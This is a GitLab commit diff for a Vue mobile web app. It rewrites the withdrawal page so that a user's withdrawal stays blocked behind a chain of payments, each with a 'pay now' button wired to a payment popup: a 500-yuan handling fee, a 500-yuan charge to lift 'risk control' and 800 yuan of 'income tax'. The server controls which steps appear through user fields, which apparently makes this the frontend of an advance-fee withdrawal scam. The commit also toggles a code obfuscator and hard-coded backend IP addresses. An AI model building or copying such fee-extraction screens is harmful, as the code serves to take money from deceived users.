Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
X
xzzxzmj
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
qd01
xzzxzmj
Commits
b4da5cd7
Commit
b4da5cd7
authored
Feb 18, 2025
by
zhangsan
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
1
parent
ba473afe
Changes
7
Expand all
Hide whitespace changes
Inline
Side-by-side
Showing
7 changed files
with
731 additions
and
376 deletions
+731
-376
components.d.ts
src/components.d.ts
+4
-0
payUp.vue
src/components/payUp.vue
+436
-0
generateRoutes.ts
src/utils/generateRoutes.ts
+1
-1
index.vue
src/views/user/index.vue
+7
-5
myapple.vue
src/views/user/myapple.vue
+189
-185
mybankCard.vue
src/views/user/mybankCard.vue
+86
-177
vite.config.ts
vite.config.ts
+8
-8
No files found.
src/components.d.ts
View file @
b4da5cd7
...
...
@@ -12,6 +12,7 @@ declare module 'vue' {
NewsCard
:
typeof
import
(
'
./components/NewsCard.vue
'
)[
'
default
'
]
Overlay
:
typeof
import
(
'
./components/overlay.vue
'
)[
'
default
'
]
PageLoading
:
typeof
import
(
'
./components/PageLoading.vue
'
)[
'
default
'
]
PayUp
:
typeof
import
(
'
./components/payUp.vue
'
)[
'
default
'
]
Progress
:
typeof
import
(
'
./components/progress.vue
'
)[
'
default
'
]
RouterLink
:
typeof
import
(
'
vue-router
'
)[
'
RouterLink
'
]
RouterView
:
typeof
import
(
'
vue-router
'
)[
'
RouterView
'
]
...
...
@@ -23,6 +24,9 @@ declare module 'vue' {
VanList
:
typeof
import
(
'
vant/es
'
)[
'
List
'
]
VanLoading
:
typeof
import
(
'
vant/es
'
)[
'
Loading
'
]
VanNavBar
:
typeof
import
(
'
vant/es
'
)[
'
NavBar
'
]
VanPopup
:
typeof
import
(
'
vant/es
'
)[
'
Popup
'
]
VanRadio
:
typeof
import
(
'
vant/es
'
)[
'
Radio
'
]
VanRadioGroup
:
typeof
import
(
'
vant/es
'
)[
'
RadioGroup
'
]
VanStep
:
typeof
import
(
'
vant/es
'
)[
'
Step
'
]
VanSteps
:
typeof
import
(
'
vant/es
'
)[
'
Steps
'
]
VanSwipe
:
typeof
import
(
'
vant/es
'
)[
'
Swipe
'
]
...
...
src/components/payUp.vue
0 → 100644
View file @
b4da5cd7
This diff is collapsed.
Click to expand it.
src/utils/generateRoutes.ts
View file @
b4da5cd7
...
...
@@ -37,7 +37,7 @@ const titleMap: Record<string, string> = {
ddownload
:
"
APP下载
"
,
newsdetail
:
"
新闻详情
"
,
modify
:
"
修改资料
"
,
myapple
:
"
提现
记录
"
,
myapple
:
"
提现
"
,
};
// 处理路径转换为路由配置
...
...
src/views/user/index.vue
View file @
b4da5cd7
...
...
@@ -81,7 +81,7 @@ const renderList = [
{
title
:
"
邀请好友
"
,
icon
:
a5
,
path
:
"
/user/invite
"
},
{
title
:
"
修改资料
"
,
icon
:
a6
,
path
:
"
/user/modify
"
},
{
title
:
"
APP下载
"
,
icon
:
a7
,
path
:
"
/user/ddownload
"
},
{
title
:
"
提现记录
"
,
icon
:
a8
,
path
:
"
/user/myapple
"
},
//
{ title: "提现记录", icon: a8, path: "/user/myapple" },
];
const
handleClick
=
(
item
:
any
)
=>
{
if
(
item
.
title
==
"
实名认证
"
||
item
.
title
==
"
邀请好友
"
||
item
.
title
==
"
APP下载
"
||
item
.
title
==
"
我的团队
"
)
{
...
...
@@ -105,11 +105,13 @@ const tixian = (q1: string, type: number, title: string) => {
if
(
!
isEealNameAuthentication
())
{
return
false
}
if
(
q1
==
null
||
isNaN
(
Number
(
q1
))
||
Number
(
q1
)
<
1
)
{
showToast
(
"
余额不足
"
);
return
false
;
}
router
.
push
(
`/user/tixian?balance=
${
q1
}
&type=
${
type
}
&title=
${
title
}
`
);
showToast
(
"
余额不足
"
);
return
false
;
}
router
.
push
(
"
/user/myapple
"
);
// router.push(`/user/tixian?balance=${q1}&type=${type}&title=${title}`);
};
// 明细
...
...
src/views/user/myapple.vue
View file @
b4da5cd7
<
template
>
<div
class=
"myapple-container"
>
<van-nav-bar
title=
"提现记录"
left-arrow
@
click-left=
"$router.back()"
fixed
/>
<div
class=
"content"
>
<van-list
v-model:loading=
"loading"
:finished=
"finished"
finished-text=
"没有更多了"
@
load=
"getList"
>
<div
v-for=
"(item, index) in list"
:key=
"index"
class=
"record-card"
>
<div
class=
"card-header"
>
<div
class=
"amount-info"
>
<span
class=
"label"
>
提现金额
</span>
<span
class=
"amount"
>
¥
{{
item
.
withdrawAmount
}}
</span>
</div>
<van-tag
:type=
"getStatusType(item.status)"
round
class=
"status-tag"
>
{{
getStatusText
(
item
.
status
)
}}
</van-tag>
</div>
<div
class=
"progress-section"
>
<van-steps
:active=
"getStepByStatus(item.status)"
active-color=
"#07c160"
>
<van-step>
申请提现
</van-step>
<van-step>
缴纳手续费
</van-step>
<van-step>
解除风控
</van-step>
<van-step>
缴纳税费
</van-step>
<van-step>
到账成功
</van-step>
</van-steps>
</div>
<div
class=
"card-footer"
>
<div
class=
"info-item"
>
<van-icon
name=
"clock-o"
/>
<span>
{{
item
.
createTime
}}
</span>
</div>
<div
class=
"info-item"
>
<van-icon
name=
"credit-pay"
/>
<span>
{{
item
.
bankName
}}
{{
item
.
bankNum
}}
</span>
</div>
<div
class=
"withdraw-page"
>
<!-- 银行卡信息 -->
<div
class=
"content-warp"
>
<div
class=
"bank-card"
>
<div
class=
"bank-card-item"
v-if=
"bankInfo.bankNum"
>
<div
class=
"bankName"
>
{{
bankInfo
.
bankName
}}
</div>
<div
class=
"bank-card-item-right-bottom"
>
<span
v-if=
"!isShow"
>
**** **** ****
{{
bankInfo
.
bankNum
.
slice
(
-
4
)
}}
</span>
<span
v-else
>
{{
bankInfo
.
bankNum
}}
</span>
<van-icon
name=
"eye-o"
v-if=
"!isShow"
@
click=
"isShow = true"
/>
<van-icon
name=
"closed-eye"
v-else
@
click=
"isShow = false"
/>
</div>
</div>
</van-list>
<div
class=
"empty"
v-else
>
<van-empty
image-size=
"100"
description=
"暂未绑定银行卡"
/>
<var-button
type=
"primary"
size=
"large"
block
@
click=
"addBankCard"
>
前往添加银行卡
</var-button>
</div>
</div>
<div
class=
"step-container"
>
<div
class=
"step-title"
>
注:缴纳完以下费用即可到账
</div>
<van-steps
direction=
"vertical"
:active=
"mainStep"
>
<van-step
v-for=
"(step, index) in steps"
:key=
"index"
>
<template
#default
>
<div
class=
"step-content"
>
<span
class=
"step-text"
>
{{
step
.
text
}}
</span>
<var-button
v-if=
"step.amount && index >= paySteps"
type=
"danger"
@
click=
"handlePay(step)"
>
立即缴纳
</var-button>
<var-button
v-if=
"step.amount && index
<
paySteps
"
type=
"success"
>
已完成缴纳
</var-button>
</div>
</
template
>
</van-step>
</van-steps>
</div>
</div>
<pay-up
ref=
"payUpRef"
/>
<var-button
type=
"primary"
size=
"large"
style=
"margin-top: 20px;"
block
@
click=
"tixian"
>
立即提现
</var-button>
</div>
</template>
<
script
setup
lang=
"ts"
>
import
{
ref
}
from
'
vue
'
<
script
setup
>
import
{
ref
,
onMounted
}
from
'
vue
'
import
request
from
'
@/utils/request
'
const
list
=
ref
([])
const
pageSize
=
ref
(
10
)
const
pageNum
=
ref
(
1
)
const
total
=
ref
(
0
)
const
finished
=
ref
(
false
)
const
loading
=
ref
(
false
)
const
getList
=
async
()
=>
{
try
{
const
data
=
{
withdrawType
:
1
,
beginDate
:
""
}
const
res
=
await
request
.
post
(
`/ops/withdraw/list?pageNum=
${
pageNum
.
value
}
&pageSize=
${
pageSize
.
value
}
`
,
data
)
if
(
res
.
code
===
200
)
{
list
.
value
=
[...
list
.
value
,
...(
res
.
rows
||
[])]
total
.
value
=
res
.
total
||
0
if
(
list
.
value
.
length
>=
total
.
value
)
{
finished
.
value
=
true
}
else
{
pageNum
.
value
++
}
}
else
{
showFailToast
(
res
.
msg
||
'
加载失败
'
)
finished
.
value
=
true
}
}
catch
(
error
)
{
console
.
error
(
'
获取列表失败:
'
,
error
)
showFailToast
(
'
加载失败,请重试
'
)
finished
.
value
=
true
}
finally
{
loading
.
value
=
false
import
{
useRouter
}
from
'
vue-router
'
import
payUp
from
'
@/components/payUp.vue
'
const
router
=
useRouter
()
// 银行卡信息
const
bankInfo
=
ref
({})
const
isShow
=
ref
(
false
)
// 主步骤
const
mainStep
=
ref
(
0
)
const
paySteps
=
ref
(
0
)
// 步骤配置
const
stepsBase
=
[
{
text
:
'
请缴纳手续费500元
'
,
amount
:
500
},
{
text
:
'
排队打款中
'
},
{
text
:
'
解除大额收款风控费500元
'
,
amount
:
500
},
{
text
:
'
解除成功
'
},
{
text
:
'
缴纳个人所得税800元
'
,
amount
:
800
},
{
text
:
'
入账中
'
},
{
text
:
'
到账成功
'
}
]
const
steps
=
ref
([])
const
tixian
=
()
=>
{
if
(
!
bankInfo
.
value
.
bankNum
)
{
showToast
(
'
请先绑定银行卡
'
)
return
}
showToast
(
stepsBase
[
paySteps
.
value
].
text
)
}
const
payUpRef
=
ref
(
null
)
const
addBankCard
=
()
=>
{
router
.
push
(
'
/user/mybankCard
'
)
}
const
getStatusText
=
(
status
:
string
)
=>
{
switch
(
status
)
{
case
'
0
'
:
case
'
1
'
:
return
'
审核中
'
case
'
2
'
:
return
'
已到账
'
case
'
3
'
:
return
'
已驳回
'
default
:
return
'
未知状态
'
// 处理支付
const
handlePay
=
(
subStep
)
=>
{
payUpRef
.
value
.
open
({
amount
:
subStep
.
amount
,
payTitle
:
subStep
.
text
,
payType
:
1
,
productId
:
123
,
needPassword
:
false
})
}
request
.
get
(
'
/ops/bankcard/list
'
).
then
(
res
=>
{
if
(
res
.
rows
.
length
>
0
)
{
bankInfo
.
value
=
res
.
rows
[
0
]
}
})
const
userInfo
=
ref
({})
userInfo
.
value
=
JSON
.
parse
(
sessionStorage
.
getItem
(
'
userInfo
'
))
mainStep
.
value
=
userInfo
.
value
.
extend4
paySteps
.
value
=
userInfo
.
value
.
extend5
steps
.
value
=
stepsBase
.
filter
((
item
,
index
)
=>
index
<
mainStep
.
value
)
</
script
>
<
style
scoped
lang=
"scss"
>
.withdraw-page
{
padding
:
20px
10px
;
box-sizing
:
border-box
;
background
:
#f7f8fa
;
}
.bank-card
{
background
:
#fff
;
border-radius
:
8px
;
padding
:
16px
;
}
.content-warp
{
height
:
100%
;
overflow-y
:
auto
;
}
const
getStatusType
=
(
status
:
string
)
=>
{
switch
(
status
)
{
case
'
0
'
:
case
'
1
'
:
return
'
warning
'
case
'
2
'
:
return
'
success
'
case
'
3
'
:
return
'
danger
'
default
:
return
'
default
'
.bank-card
{
margin-bottom
:
10px
;
.bankName
{
font-size
:
20px
;
font-weight
:
700
;
color
:
#323233
;
margin-bottom
:
10px
;
}
}
const
getStepByStatus
=
(
status
:
string
)
=>
{
switch
(
status
)
{
case
'
0
'
:
return
1
case
'
1
'
:
return
2
case
'
2
'
:
return
4
case
'
3
'
:
return
0
default
:
return
0
.bank-info
{
display
:
flex
;
flex-direction
:
column
;
}
.bank-name
{
font-size
:
16px
;
font-weight
:
500
;
color
:
#323233
;
}
.card-number
{
font-size
:
14px
;
color
:
#969799
;
margin-top
:
4px
;
}
.tip-text
{
color
:
#ff4d4f
;
font-size
:
14px
;
margin-bottom
:
20px
;
padding
:
0
16px
;
}
.step-container
{
background
:
#fff
;
border-radius
:
8px
;
padding
:
16px
;
.step-title
{
font-size
:
14px
;
color
:
red
;
}
}
</
script
>
<
style
lang=
"scss"
scoped
>
.myapple-container
{
min-height
:
100vh
;
background
:
#f7f8fa
;
.step-content
{
padding
:
8px
0
;
display
:
flex
;
justify-content
:
space-between
;
align-items
:
center
;
}
.step-text
{
font-size
:
14px
;
color
:
#323233
;
}
.sub-steps
{
margin-top
:
12px
;
padding-left
:
16px
;
}
.sub-step
{
display
:
flex
;
align-items
:
center
;
margin-bottom
:
12px
;
color
:
#969799
;
}
.sub-step.active
{
color
:
#323233
;
}
.sub-step-text
{
flex
:
1
;
font-size
:
14px
;
}
.amount
{
color
:
#ff4d4f
;
margin
:
0
12px
;
font-size
:
14px
;
}
.content
{
padding
:
16px
;
:deep
(
.van-step
)
{
.van-step__circle
{
background-color
:
#1989fa
;
border-color
:
#1989fa
;
}
.record-card
{
border-radius
:
12px
;
padding
:
16px
;
margin-bottom
:
16px
;
box-shadow
:
0
2px
12px
rgba
(
100
,
101
,
102
,
0
.08
);
background
:
#fff
;
.card-header
{
display
:
flex
;
justify-content
:
space-between
;
align-items
:
center
;
margin-bottom
:
16px
;
.amount-info
{
display
:
flex
;
flex-direction
:
column
;
.label
{
font-size
:
14px
;
color
:
#666
;
margin-bottom
:
4px
;
}
.amount
{
font-size
:
24px
;
font-weight
:
bold
;
color
:
#333
;
}
}
.status-tag
{
padding
:
6px
12px
;
}
}
.progress-section
{
margin
:
20px
0
;
:deep
(
.van-step
)
{
.van-step__title
{
font-size
:
12px
;
}
}
}
.card-footer
{
display
:
flex
;
flex-direction
:
column
;
gap
:
8px
;
margin-top
:
16px
;
padding-top
:
16px
;
border-top
:
1px
solid
#f5f5f5
;
.info-item
{
display
:
flex
;
align-items
:
center
;
color
:
#666
;
font-size
:
13px
;
.van-icon
{
margin-right
:
6px
;
font-size
:
16px
;
}
}
}
.van-step__line
{
background-color
:
#1989fa
;
}
}
:deep
(
.van-step
s--horizont
al
)
{
padding
:
0
;
:deep
(
.van-step
--vertic
al
)
{
padding
:
10px
10px
10px
0
;
}
</
style
>
src/views/user/mybankCard.vue
View file @
b4da5cd7
This diff is collapsed.
Click to expand it.
vite.config.ts
View file @
b4da5cd7
...
...
@@ -39,12 +39,12 @@ export default defineConfig({
dts
:
'
src/components.d.ts
'
,
dirs
:
[
'
src/components
'
]
}),
vitePluginBundleObfuscator
({
enable
:
true
,
log
:
true
,
autoExcludeNodeModules
:
true
,
threadPool
:
true
,
})
//
vitePluginBundleObfuscator({
//
enable: true,
//
log: true,
//
autoExcludeNodeModules: true,
//
threadPool: true,
//
})
],
resolve
:
{
alias
:
{
...
...
@@ -77,8 +77,8 @@ export default defineConfig({
port
:
8080
,
proxy
:
{
'
/api
'
:
{
//
target: 'http://27.124.5.14:9023',
target
:
'
http://43.199.109.243:3000/api
'
,
target
:
'
http://27.124.5.14:9023
'
,
//
target: 'http://43.199.109.243:3000/api',
changeOrigin
:
true
,
rewrite
:
(
path
)
=>
path
.
replace
(
/^
\/
api/
,
''
)
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment